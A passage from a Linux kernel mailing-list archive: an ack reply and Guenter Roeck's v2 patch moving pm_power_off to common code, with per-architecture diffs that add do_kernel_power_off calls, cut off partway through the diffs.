        by eddie.linux-mips.org with ESMTP id S27010103AbaJNEb3rsZCa (ORCPT
        <rfc822;linux-mips@linux-mips.org>); Tue, 14 Oct 2014 06:31:29 +0200
Original-Received: from unknown (HELO relmlir4.idc.renesas.com) ([10.200.68.154])
  by relmlie3.idc.renesas.com with ESMTP; 14 Oct 2014 13:31:25 +0900
Original-Received: from relmlac3.idc.renesas.com (relmlac3.idc.renesas.com [10.200.69.23])
        by relmlir4.idc.renesas.com (Postfix) with ESMTP id 26BD23F9C6;
        Tue, 14 Oct 2014 13:31:25 +0900 (JST)
Original-Received: by relmlac3.idc.renesas.com (Postfix, from userid 0)
        id 17A89180A1; Tue, 14 Oct 2014 13:31:25 +0900 (JST)
Original-Received: from relmlac3.idc.renesas.com (localhost [127.0.0.1])
        by relmlac3.idc.renesas.com (Postfix) with ESMTP id 0FFD5180A0;
        Tue, 14 Oct 2014 13:31:25 +0900 (JST)
Original-Received: from relmlii1.idc.renesas.com [10.200.68.65] 
         by relmlac3.idc.renesas.com with ESMTP id PAM28738;
         Tue, 14 Oct 2014 13:31:25 +0900
X-IronPort-AV: E=Sophos;i="5.04,714,1406559600"; 
   d="scan'208";a="171187046"
Original-Received: from mail-sg1lp0092.outbound.protection.outlook.com (HELO APAC01-SG1-obe.outbound.protection.outlook.com) ([207.46.51.92])
  by relmlii1.idc.renesas.com with ESMTP/TLS/AES256-SHA; 14 Oct 2014 13:31:18 +0900
Original-Received: from pcepx30.hoku.renesas.com.renesas.com (211.11.155.140) by
 SINPR06MB090.apcprd06.prod.outlook.com (10.242.54.12) with Microsoft SMTP
 Server (TLS) id 15.0.1049.19; Tue, 14 Oct 2014 04:31:10 +0000
In-Reply-To: <1412659726-29957-9-git-send-email-linux@roeck-us.net>
User-Agent: Wanderlust/2.15.9 (Almost Unreal) Emacs/24.3 Mule/6.0 (HANACHIRUSATO)
Renesas-ECN: H07-0010RT
X-Originating-IP: [211.11.155.140]
X-ClientProxiedBy: SIXPR06CA0048.apcprd06.prod.outlook.com (25.160.171.166) To
 SINPR06MB090.apcprd06.prod.outlook.com (10.242.54.12)
X-Microsoft-Antispam: UriScan:;
X-Microsoft-Antispam: BCL:0;PCL:0;RULEID:;SRVR:SINPR06MB090;
X-Exchange-Antispam-Report-Test: UriScan:;
X-Forefront-PRVS: 03648EFF89
X-Forefront-Antispam-Report: SFV:NSPM;SFS:(10019020)(6009001)(199003)(51704005)(189002)(47776003)(92726001)(558084003)(20776003)(122386002)(105586002)(106356001)(76176999)(95666004)(19580395003)(54356999)(85852003)(77096002)(64706001)(86362001)(36756003)(40100003)(107046002)(66066001)(92566001)(19580405001)(50986999)(85306004)(42186005)(21056001)(87976001)(31966008)(50466002)(4396001)(97736003)(33646002)(23726002)(111086002)(101416001)(110136001)(76482002)(120916001)(46406003)(102836001)(46102003)(80022003)(83506001);DIR:OUT;SFP:1102;SCL:1;SRVR:SINPR06MB090;H:pcepx30.hoku.renesas.com.renesas.com;FPR:;MLV:sfv;PTR:InfoNoRecords;A:1;MX:1;LANG:;
X-OriginatorOrg: renesas.com
X-archive-position: 43257
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: hirokazu.takata.wj@renesas.com
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:44406 gmane.linux.kernel:1806356 gmane.linux.drivers.devicetree:93974 gmane.linux.kernel.virtualization.lguest:1532 gmane.linux.acpi.devel:71396 gmane.linux.ports.alpha:2518 gmane.linux.kernel.efi:4847 gmane.linux.ports.hexagon:865 gmane.linux.ports.ppc64.devel:106129 gmane.linux.ports.tegra:19642 gmane.linux.kernel.openipmi:2523 gmane.linux.uml.devel:14752 gmane.linux.ports.arm.kernel:363700 gmane.linux.ports.ia64:24569 gmane.linux.kernel.metag:384 gmane.linux.ports.parisc:6178 gmane.linux.power-management.general:50942 gmane.linux.ports.sh.devel:39939
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/44406>

From: Guenter Roeck <linux@roeck-us.net>
>  arch/m32r/kernel/process.c         |  8 ++++----

Acked-by: Hirokazu Takata <takata@linux-m32r.org>

Thank you.

-- takata



From - Thu Nov 08 21:10:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guenter Roeck <linux@roeck-us.net>
Newsgroups: gmane.linux.kernel,gmane.linux.power-management.general,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.openrisc,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.uml.devel,gmane.linux.uml.user
Subject: [PATCH v2 08/47] kernel: Move pm_power_off to common code
Date: Mon, 20 Oct 2014 21:12:24 -0700
Lines: 881
Approved: news@gmane.org
Message-ID: <1413864783-3271-9-git-send-email-linux@roeck-us.net>
References: <1413864783-3271-1-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1413864840 24237 80.91.229.3 (21 Oct 2014 04:14:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 21 Oct 2014 04:14:00 +0000 (UTC)
Cc: linux-pm@vger.kernel.org, Guenter Roeck <linux@roeck-us.net>,
	adi-buildroot-devel@lists.sourceforge.net, linux390@de.ibm.com,
	linux-alpha@vger.kernel.org, linux-am33-list@redhat.com,
	linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
	linux-cris-kernel@axis.com, linux-hexagon@vger.kernel.org,
	linux-ia64@vger.kernel.org, linux@lists.openrisc.net,
	linux-m68k@lists.linux-m68k.org, linux-metag@vger.kernel.org,
	linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
	linux-sh@vger.kernel.org, linux-xtensa@linux-xtensa.org,
	sparclinux@vger.kernel.org,
	user-mode-linux-devel@lists.sourceforge.net,
	user-mode-linux-user@lists.sourceforge.net, x86@kernel.org,
	xen-devel@lists.xenproject.org
To: linux-kernel@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Oct 21 06:13:51 2014
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1XgQpQ-0002Dx-Uf
	for glk-linux-kernel-3@plane.gmane.org; Tue, 21 Oct 2014 06:13:49 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754013AbaJUENj (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Tue, 21 Oct 2014 00:13:39 -0400
Original-Received: from bh-25.webhostbox.net ([208.91.199.152]:33569 "EHLO
	bh-25.webhostbox.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753760AbaJUENd (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Tue, 21 Oct 2014 00:13:33 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=roeck-us.net; s=default;
	h=References:In-Reply-To:Message-Id:Date:Subject:Cc:To:From; bh=xuRtVQHZQlLzKpEAOuggXgBCAnolcAFO2yN7mH84vj8=;
	b=pEh6hf6FCJHn6aRY2sW8dgpygGdJCerSfLfJHMES1Nu//MfFNaapU7i0cc3F2MIoCZn1e9rM9C/wLkRzXvykQjrR0w3UhPtI5n1CvpvWt2V2jEtdU+jx6WX3Hz/KGa9wgEGKRCmuPPXTRGhZOO8jmi7i6FTY2f/5SZvmMP0zQKA=;
Original-Received: from mailnull by bh-25.webhostbox.net with sa-checked (Exim 4.82)
	(envelope-from <linux@roeck-us.net>)
	id 1XgQpA-002cg2-Th
	for linux-kernel@vger.kernel.org; Tue, 21 Oct 2014 04:13:33 +0000
Original-Received: from 108-223-40-66.lightspeed.sntcca.sbcglobal.net ([108.223.40.66]:40546 helo=localhost)
	by bh-25.webhostbox.net with esmtpa (Exim 4.82)
	(envelope-from <linux@roeck-us.net>)
	id 1XgQp8-002ceA-T6; Tue, 21 Oct 2014 04:13:32 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1413864783-3271-1-git-send-email-linux@roeck-us.net>
X-Authenticated_sender: guenter@roeck-us.net
X-OutGoing-Spam-Status: No, score=2.5
X-Spam-Checker-Version: spamc_ctasd client on
	localost
X-Spam-Level: 
X-Spam-Status: No, score=0.0 required=50.0 tests=SpamClass_Unknown,
	VirusClass_Unknown autolearn=disabled
	version=1.0.0
X-CTCH-PVer: 0000001
X-CTCH-Spam: Unknown
X-CTCH-VOD: Unknown
X-CTCH-Flags: 0
X-CTCH-RefID: str=0001.0A020209.5445DD6D.0032,ss=1,re=0.000,recu=0.000,reip=0.000,cl=1,cld=1,fgs=0
X-CTCH-Score: 0.000
X-CTCH-ScoreCust: 0.000
X-CTCH-Rules: 
X-CTCH-SenderID: linux@roeck-us.net
X-CTCH-SenderID-Flags: 0
X-CTCH-SenderID-TotalMessages: 42
X-CTCH-SenderID-TotalSpam: 0
X-CTCH-SenderID-TotalSuspected: 0
X-CTCH-SenderID-TotalConfirmed: 0
X-CTCH-SenderID-TotalBulk: 0
X-CTCH-SenderID-TotalVirus: 0
X-CTCH-SenderID-TotalRecipients: 0
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - bh-25.webhostbox.net
X-AntiAbuse: Original Domain - vger.kernel.org
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]
X-AntiAbuse: Sender Address Domain - roeck-us.net
X-Get-Message-Sender-Via: bh-25.webhostbox.net: mailgid no entry from get_relayhosts_entry
X-Source: 
X-Source-Args: 
X-Source-Dir: 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1809921 gmane.linux.power-management.general:51207 gmane.linux.ports.alpha:2520 gmane.linux.ports.arm.kernel:364888 gmane.linux.ports.hexagon:866 gmane.linux.ports.ia64:24609 gmane.linux.ports.openrisc:601 gmane.linux.kernel.metag:385 gmane.linux.ports.mips.general:44545 gmane.linux.ports.parisc:6179 gmane.linux.ports.ppc64.devel:106271 gmane.linux.ports.sh.devel:40018 gmane.linux.ports.sparc:20036 gmane.linux.uml.devel:14783 gmane.linux.uml.user:14737

pm_power_off is defined for all architectures. Move it to common code.

Have all architectures call do_kernel_power_off instead of pm_power_off.
Some architectures point pm_power_off to machine_power_off. For those,
call do_kernel_power_off from machine_power_off instead.

Acked-by: David Vrabel <david.vrabel@citrix.com>
Acked-by: Geert Uytterhoeven <geert@linux-m68k.org>
Acked-by: Hirokazu Takata <takata@linux-m32r.org>
Acked-by: Jesper Nilsson <jesper.nilsson@axis.com>
Acked-by: Max Filippov <jcmvbkbc@gmail.com>
Acked-by: Rafael J. Wysocki <rjw@rjwysocki.net>
Acked-by: Richard Weinberger <richard@nod.at>
Acked-by: Xuetao Guan <gxt@mprc.pku.edu.cn>
Signed-off-by: Guenter Roeck <linux@roeck-us.net>
---
v2:
- do_kernel_poweroff -> do_kernel_power_off
- have_kernel_poweroff -> have_kernel_power_off

 arch/alpha/kernel/process.c        |  9 +++------
 arch/arc/kernel/reset.c            |  5 +----
 arch/arm/kernel/process.c          |  5 +----
 arch/arm64/kernel/process.c        |  5 +----
 arch/avr32/kernel/process.c        |  6 +-----
 arch/blackfin/kernel/process.c     |  3 ---
 arch/blackfin/kernel/reboot.c      |  2 ++
 arch/c6x/kernel/process.c          |  9 +--------
 arch/cris/kernel/process.c         |  4 +---
 arch/frv/kernel/process.c          |  5 ++---
 arch/hexagon/kernel/reset.c        |  5 ++---
 arch/ia64/kernel/process.c         |  5 +----
 arch/m32r/kernel/process.c         |  8 ++++----
 arch/m68k/kernel/process.c         |  6 +-----
 arch/metag/kernel/process.c        |  6 +-----
 arch/microblaze/kernel/process.c   |  3 ---
 arch/microblaze/kernel/reset.c     |  1 +
 arch/mips/kernel/reset.c           |  6 +-----
 arch/mn10300/kernel/process.c      |  8 ++------
 arch/openrisc/kernel/process.c     |  8 +++++---
 arch/parisc/kernel/process.c       |  8 ++++----
 arch/powerpc/kernel/setup-common.c |  6 +++---
 arch/s390/kernel/setup.c           |  8 ++------
 arch/score/kernel/process.c        |  8 ++++----
 arch/sh/kernel/reboot.c            |  6 +-----
 arch/sparc/kernel/process_32.c     | 10 ++--------
 arch/sparc/kernel/reboot.c         |  8 ++------
 arch/tile/kernel/reboot.c          |  7 +++----
 arch/um/kernel/reboot.c            |  2 --
 arch/unicore32/kernel/process.c    |  9 +--------
 arch/x86/kernel/reboot.c           | 11 +++--------
 arch/x86/xen/enlighten.c           |  3 +--
 arch/xtensa/kernel/process.c       |  4 ----
 drivers/parisc/power.c             |  3 +--
 kernel/power/poweroff_handler.c    |  8 ++++++++
 kernel/reboot.c                    |  4 ++--
 36 files changed, 68 insertions(+), 146 deletions(-)

diff --git a/arch/alpha/kernel/process.c b/arch/alpha/kernel/process.c
index 1941a07..81c43f8 100644
--- a/arch/alpha/kernel/process.c
+++ b/arch/alpha/kernel/process.c
@@ -24,6 +24,7 @@
 #include <linux/vt.h>
 #include <linux/mman.h>
 #include <linux/elfcore.h>
+#include <linux/pm.h>
 #include <linux/reboot.h>
 #include <linux/tty.h>
 #include <linux/console.h>
@@ -40,12 +41,6 @@
 #include "proto.h"
 #include "pci_impl.h"
 
-/*
- * Power off function, if any
- */
-void (*pm_power_off)(void) = machine_power_off;
-EXPORT_SYMBOL(pm_power_off);
-
 #ifdef CONFIG_ALPHA_WTINT
 /*
  * Sleep the CPU.
@@ -184,6 +179,8 @@ machine_halt(void)
 void
 machine_power_off(void)
 {
+	do_kernel_power_off();
+
 	common_shutdown(LINUX_REBOOT_CMD_POWER_OFF, NULL);
 }
 
diff --git a/arch/arc/kernel/reset.c b/arch/arc/kernel/reset.c
index 2768fa1..0758d9d 100644
--- a/arch/arc/kernel/reset.c
+++ b/arch/arc/kernel/reset.c
@@ -26,9 +26,6 @@ void machine_restart(char *__unused)
 
 void machine_power_off(void)
 {
-	/* FIXME ::  power off ??? */
+	do_kernel_power_off();
 	machine_halt();
 }
-
-void (*pm_power_off) (void) = NULL;
-EXPORT_SYMBOL(pm_power_off);
diff --git a/arch/arm/kernel/process.c b/arch/arm/kernel/process.c
index fe972a2..aa3f656 100644
--- a/arch/arm/kernel/process.c
+++ b/arch/arm/kernel/process.c
@@ -117,8 +117,6 @@ void soft_restart(unsigned long addr)
 /*
  * Function pointers to optional machine specific functions
  */
-void (*pm_power_off)(void);
-EXPORT_SYMBOL(pm_power_off);
 
 void (*arm_pm_restart)(enum reboot_mode reboot_mode, const char *cmd);
 
@@ -205,8 +203,7 @@ void machine_power_off(void)
 	local_irq_disable();
 	smp_send_stop();
 
-	if (pm_power_off)
-		pm_power_off();
+	do_kernel_power_off();
 }
 
 /*
diff --git a/arch/arm64/kernel/process.c b/arch/arm64/kernel/process.c
index c3065db..46a483a 100644
--- a/arch/arm64/kernel/process.c
+++ b/arch/arm64/kernel/process.c
@@ -68,8 +68,6 @@ void soft_restart(unsigned long addr)
 /*
  * Function pointers to optional machine specific functions
  */
-void (*pm_power_off)(void);
-EXPORT_SYMBOL_GPL(pm_power_off);
 
 void (*arm_pm_restart)(enum reboot_mode reboot_mode, const char *cmd);
 
@@ -129,8 +127,7 @@ void machine_power_off(void)
 {
 	local_irq_disable();
 	smp_send_stop();
-	if (pm_power_off)
-		pm_power_off();
+	do_kernel_power_off();
 }
 
 /*
diff --git a/arch/avr32/kernel/process.c b/arch/avr32/kernel/process.c
index 42a53e74..529c1f6 100644
--- a/arch/avr32/kernel/process.c
+++ b/arch/avr32/kernel/process.c
@@ -23,9 +23,6 @@
 
 #include <mach/pm.h>
 
-void (*pm_power_off)(void);
-EXPORT_SYMBOL(pm_power_off);
-
 /*
  * This file handles the architecture-dependent parts of process handling..
  */
@@ -48,8 +45,7 @@ void machine_halt(void)
 
 void machine_power_off(void)
 {
-	if (pm_power_off)
-		pm_power_off();
+	do_kernel_power_off();
 }
 
 void machine_restart(char *cmd)
diff --git a/arch/blackfin/kernel/process.c b/arch/blackfin/kernel/process.c
index 4aa5545..812dd83 100644
--- a/arch/blackfin/kernel/process.c
+++ b/arch/blackfin/kernel/process.c
@@ -39,9 +39,6 @@ int nr_l1stack_tasks;
 void *l1_stack_base;
 unsigned long l1_stack_len;
 
-void (*pm_power_off)(void) = NULL;
-EXPORT_SYMBOL(pm_power_off);
-
 /*
  * The idle loop on BFIN
  */
diff --git a/arch/blackfin/kernel/reboot.c b/arch/blackfin/kernel/reboot.c
index c4f50a3..387d610 100644
--- a/arch/blackfin/kernel/reboot.c
+++ b/arch/blackfin/kernel/reboot.c
@@ -7,6 +7,7 @@
  */
 
 #include <linux/interrupt.h>
+#include <linux/pm.h>
 #include <asm/bfin-global.h>
 #include <asm/reboot.h>
 #include <asm/bfrom.h>
@@ -106,6 +107,7 @@ void machine_halt(void)
 __attribute__((weak))
 void native_machine_power_off(void)
 {
+	do_kernel_power_off();
 	idle_with_irq_disabled();
 }
 
diff --git a/arch/c6x/kernel/process.c b/arch/c6x/kernel/process.c
index 57d2ea8..edf7e5a 100644
--- a/arch/c6x/kernel/process.c
+++ b/arch/c6x/kernel/process.c
@@ -27,12 +27,6 @@ void	(*c6x_halt)(void);
 extern asmlinkage void ret_from_fork(void);
 extern asmlinkage void ret_from_kernel_thread(void);
 
-/*
- * power off function, if any
- */
-void (*pm_power_off)(void);
-EXPORT_SYMBOL(pm_power_off);
-
 void arch_cpu_idle(void)
 {
 	unsigned long tmp;
@@ -73,8 +67,7 @@ void machine_halt(void)
 
 void machine_power_off(void)
 {
-	if (pm_power_off)
-		pm_power_off();
+	do_kernel_power_off();
 	halt_loop();
 }
 
diff --git a/arch/cris/kernel/process.c b/arch/cris/kernel/process.c
index b78498e..9ebd76b 100644
--- a/arch/cris/kernel/process.c
+++ b/arch/cris/kernel/process.c
@@ -31,9 +31,6 @@
 
 extern void default_idle(void);
 
-void (*pm_power_off)(void);
-EXPORT_SYMBOL(pm_power_off);
-
 void arch_cpu_idle(void)
 {
 	default_idle();
@@ -60,6 +57,7 @@ void machine_halt(void)
 
 void machine_power_off(void)
 {
+	do_kernel_power_off();
 }
 
 /*
diff --git a/arch/frv/kernel/process.c b/arch/frv/kernel/process.c
index 5d40aeb77..502dabb 100644
--- a/arch/frv/kernel/process.c
+++ b/arch/frv/kernel/process.c
@@ -42,9 +42,6 @@ asmlinkage void ret_from_kernel_thread(void);
 
 #include <asm/pgalloc.h>
 
-void (*pm_power_off)(void);
-EXPORT_SYMBOL(pm_power_off);
-
 static void core_sleep_idle(void)
 {
 #ifdef LED_DEBUG_SLEEP
@@ -107,6 +104,8 @@ void machine_power_off(void)
 	gdbstub_exit(0);
 #endif
 
+	do_kernel_power_off();
+
 	for (;;);
 }
 
diff --git a/arch/hexagon/kernel/reset.c b/arch/hexagon/kernel/reset.c
index 76483c1..6f607b6 100644
--- a/arch/hexagon/kernel/reset.c
+++ b/arch/hexagon/kernel/reset.c
@@ -16,11 +16,13 @@
  * 02110-1301, USA.
  */
 
+#include <linux/pm.h>
 #include <linux/smp.h>
 #include <asm/hexagon_vm.h>
 
 void machine_power_off(void)
 {
+	do_kernel_power_off();
 	smp_send_stop();
 	__vmstop();
 }
@@ -32,6 +34,3 @@ void machine_halt(void)
 void machine_restart(char *cmd)
 {
 }
-
-void (*pm_power_off)(void) = NULL;
-EXPORT_SYMBOL(pm_power_off);
diff --git a/arch/ia64/kernel/process.c b/arch/ia64/kernel/process.c
index b515149..88121a2 100644
--- a/arch/ia64/kernel/process.c
+++ b/arch/ia64/kernel/process.c
@@ -57,8 +57,6 @@ void (*ia64_mark_idle)(int);
 
 unsigned long boot_option_idle_override = IDLE_NO_OVERRIDE;
 EXPORT_SYMBOL(boot_option_idle_override);
-void (*pm_power_off) (void);
-EXPORT_SYMBOL(pm_power_off);
 
 void
 ia64_do_show_stack (struct unw_frame_info *info, void *arg)
@@ -675,8 +673,7 @@ machine_halt (void)
 void
 machine_power_off (void)
 {
-	if (pm_power_off)
-		pm_power_off();
+	do_kernel_power_off();
 	machine_halt();
 }
 
diff --git a/arch/m32r/kernel/process.c b/arch/m32r/kernel/process.c
index e69221d..65a037e 100644
--- a/arch/m32r/kernel/process.c
+++ b/arch/m32r/kernel/process.c
@@ -23,6 +23,7 @@
 #include <linux/fs.h>
 #include <linux/slab.h>
 #include <linux/module.h>
+#include <linux/pm.h>
 #include <linux/ptrace.h>
 #include <linux/unistd.h>
 #include <linux/hardirq.h>
@@ -44,9 +45,6 @@ unsigned long thread_saved_pc(struct task_struct *tsk)
 	return tsk->thread.lr;
 }
 
-void (*pm_power_off)(void) = NULL;
-EXPORT_SYMBOL(pm_power_off);
-
 void machine_restart(char *__unused)
 {
 #if defined(CONFIG_PLAT_MAPPI3)
@@ -67,7 +65,9 @@ void machine_halt(void)
 
 void machine_power_off(void)
 {
-	/* M32R_FIXME */
+	do_kernel_power_off();
+	for (;;)
+		;
 }
 
 void show_regs(struct pt_regs * regs)
diff --git a/arch/m68k/kernel/process.c b/arch/m68k/kernel/process.c
index afe3d6e..bbc0a63 100644
--- a/arch/m68k/kernel/process.c
+++ b/arch/m68k/kernel/process.c
@@ -78,14 +78,10 @@ void machine_halt(void)
 
 void machine_power_off(void)
 {
-	if (pm_power_off)
-		pm_power_off();
+	do_kernel_power_off();
 	for (;;);
 }
 
-void (*pm_power_off)(void) = machine_power_off;
-EXPORT_SYMBOL(pm_power_off);
-
 void show_regs(struct pt_regs * regs)
 {
 	printk("\n");
diff --git a/arch/metag/kernel/process.c b/arch/metag/kernel/process.c
index 483dff9..8d95773 100644
--- a/arch/metag/kernel/process.c
+++ b/arch/metag/kernel/process.c
@@ -67,9 +67,6 @@ void arch_cpu_idle_dead(void)
 }
 #endif
 
-void (*pm_power_off)(void);
-EXPORT_SYMBOL(pm_power_off);
-
 void (*soc_restart)(char *cmd);
 void (*soc_halt)(void);
 
@@ -90,8 +87,7 @@ void machine_halt(void)
 
 void machine_power_off(void)
 {
-	if (pm_power_off)
-		pm_power_off();
+	do_kernel_power_off();
 	smp_send_stop();
 	hard_processor_halt(HALT_OK);
 }
diff --git a/arch/microblaze/kernel/process.c b/arch/microblaze/kernel/process.c
index b2dd371..0ebca36 100644
--- a/arch/microblaze/kernel/process.c
+++ b/arch/microblaze/kernel/process.c
@@ -44,9 +44,6 @@ void show_regs(struct pt_regs *regs)
 				regs->msr, regs->ear, regs->esr, regs->fsr);
 }
 
-void (*pm_power_off)(void) = NULL;
-EXPORT_SYMBOL(pm_power_off);
-
 void flush_thread(void)
 {
 }
diff --git a/arch/microblaze/kernel/reset.c b/arch/microblaze/kernel/reset.c
index fbe58c6..2c6b32c 100644
--- a/arch/microblaze/kernel/reset.c
+++ b/arch/microblaze/kernel/reset.c
@@ -103,6 +103,7 @@ void machine_halt(void)
 void machine_power_off(void)
 {
 	pr_notice("Machine power off...\n");
+	do_kernel_power_off();
 	while (1)
 		;
 }
diff --git a/arch/mips/kernel/reset.c b/arch/mips/kernel/reset.c
index 07fc524..09e74d2 100644
--- a/arch/mips/kernel/reset.c
+++ b/arch/mips/kernel/reset.c
@@ -21,9 +21,6 @@
  */
 void (*_machine_restart)(char *command);
 void (*_machine_halt)(void);
-void (*pm_power_off)(void);
-
-EXPORT_SYMBOL(pm_power_off);
 
 void machine_restart(char *command)
 {
@@ -39,6 +36,5 @@ void machine_halt(void)
 
 void machine_power_off(void)
 {
-	if (pm_power_off)
-		pm_power_off();
+	do_kernel_power_off();
 }
diff --git a/arch/mn10300/kernel/process.c b/arch/mn10300/kernel/process.c
index 3707da5..c78b2eb 100644
--- a/arch/mn10300/kernel/process.c
+++ b/arch/mn10300/kernel/process.c
@@ -20,6 +20,7 @@
 #include <linux/user.h>
 #include <linux/interrupt.h>
 #include <linux/delay.h>
+#include <linux/pm.h>
 #include <linux/reboot.h>
 #include <linux/percpu.h>
 #include <linux/err.h>
@@ -45,12 +46,6 @@ unsigned long thread_saved_pc(struct task_struct *tsk)
 }
 
 /*
- * power off function, if any
- */
-void (*pm_power_off)(void);
-EXPORT_SYMBOL(pm_power_off);
-
-/*
  * On SMP it's slightly faster (but much more power-consuming!)
  * to poll the ->work.need_resched flag instead of waiting for the
  * cross-CPU IPI to arrive. Use this option with caution.
@@ -93,6 +88,7 @@ void machine_power_off(void)
 #ifdef CONFIG_KERNEL_DEBUGGER
 	gdbstub_exit(0);
 #endif
+	do_kernel_power_off();
 }
 
 void show_regs(struct pt_regs *regs)
diff --git a/arch/openrisc/kernel/process.c b/arch/openrisc/kernel/process.c
index 386af25..494afd2 100644
--- a/arch/openrisc/kernel/process.c
+++ b/arch/openrisc/kernel/process.c
@@ -25,6 +25,7 @@
 #include <linux/kernel.h>
 #include <linux/module.h>
 #include <linux/mm.h>
+#include <linux/pm.h>
 #include <linux/stddef.h>
 #include <linux/unistd.h>
 #include <linux/ptrace.h>
@@ -51,7 +52,7 @@
  */
 struct thread_info *current_thread_info_set[NR_CPUS] = { &init_thread_info, };
 
-void machine_restart(void)
+void machine_restart(char *cmd)
 {
 	printk(KERN_INFO "*** MACHINE RESTART ***\n");
 	__asm__("l.nop 1");
@@ -72,11 +73,12 @@ void machine_halt(void)
 void machine_power_off(void)
 {
 	printk(KERN_INFO "*** MACHINE POWER OFF ***\n");
+
+	do_kernel_power_off();
+
 	__asm__("l.nop 1");
 }
 
-void (*pm_power_off) (void) = machine_power_off;
-
 /*
  * When a process does an "exec", machine state like FPU and debug
  * registers need to be reset.  This is a hook function for that.
diff --git a/arch/parisc/kernel/process.c b/arch/parisc/kernel/process.c
index 0bbbf0d..3f5d14a 100644
--- a/arch/parisc/kernel/process.c
+++ b/arch/parisc/kernel/process.c
@@ -41,6 +41,7 @@
 #include <linux/fs.h>
 #include <linux/module.h>
 #include <linux/personality.h>
+#include <linux/pm.h>
 #include <linux/ptrace.h>
 #include <linux/sched.h>
 #include <linux/slab.h>
@@ -133,7 +134,9 @@ void machine_power_off(void)
 	pdc_soft_power_button(0);
 	
 	pdc_chassis_send_status(PDC_CHASSIS_DIRECT_SHUTDOWN);
-		
+
+	do_kernel_power_off();
+
 	/* It seems we have no way to power the system off via
 	 * software. The user has to press the button himself. */
 
@@ -141,9 +144,6 @@ void machine_power_off(void)
 	       "Please power this system off now.");
 }
 
-void (*pm_power_off)(void) = machine_power_off;
-EXPORT_SYMBOL(pm_power_off);
-
 /*
  * Free current thread data structures etc..
  */
diff --git a/arch/powerpc/kernel/setup-common.c b/arch/powerpc/kernel/setup-common.c
index 1362cd6..5b7a851 100644
--- a/arch/powerpc/kernel/setup-common.c
+++ b/arch/powerpc/kernel/setup-common.c
@@ -141,6 +141,9 @@ void machine_power_off(void)
 	machine_shutdown();
 	if (ppc_md.power_off)
 		ppc_md.power_off();
+
+	do_kernel_power_off();
+
 #ifdef CONFIG_SMP
 	smp_send_stop();
 #endif
@@ -151,9 +154,6 @@ void machine_power_off(void)
 /* Used by the G5 thermal driver */
 EXPORT_SYMBOL_GPL(machine_power_off);
 
-void (*pm_power_off)(void) = machine_power_off;
-EXPORT_SYMBOL_GPL(pm_power_off);
-
 void machine_halt(void)
 {
 	machine_shutdown();
diff --git a/arch/s390/kernel/setup.c b/arch/s390/kernel/setup.c
index e80d9ff..267e025 100644
--- a/arch/s390/kernel/setup.c
+++ b/arch/s390/kernel/setup.c
@@ -263,13 +263,9 @@ void machine_power_off(void)
 		 */
 		console_unblank();
 	_machine_power_off();
-}
 
-/*
- * Dummy power off function.
- */
-void (*pm_power_off)(void) = machine_power_off;
-EXPORT_SYMBOL_GPL(pm_power_off);
+	do_kernel_power_off();
+}
 
 static int __init early_parse_mem(char *p)
 {
diff --git a/arch/score/kernel/process.c b/arch/score/kernel/process.c
index a1519ad3..b76ea67 100644
--- a/arch/score/kernel/process.c
+++ b/arch/score/kernel/process.c
@@ -29,9 +29,6 @@
 #include <linux/pm.h>
 #include <linux/rcupdate.h>
 
-void (*pm_power_off)(void);
-EXPORT_SYMBOL(pm_power_off);
-
 /* If or when software machine-restart is implemented, add code here. */
 void machine_restart(char *command) {}
 
@@ -39,7 +36,10 @@ void machine_restart(char *command) {}
 void machine_halt(void) {}
 
 /* If or when software machine-power-off is implemented, add code here. */
-void machine_power_off(void) {}
+void machine_power_off(void)
+{
+	do_kernel_power_off();
+}
 
 void ret_from_fork(void);
 void ret_from_kernel_thread(void);
diff --git a/arch/sh/kernel/reboot.c b/arch/sh/kernel/reboot.c
index 04afe5b..065de12 100644
--- a/arch/sh/kernel/reboot.c
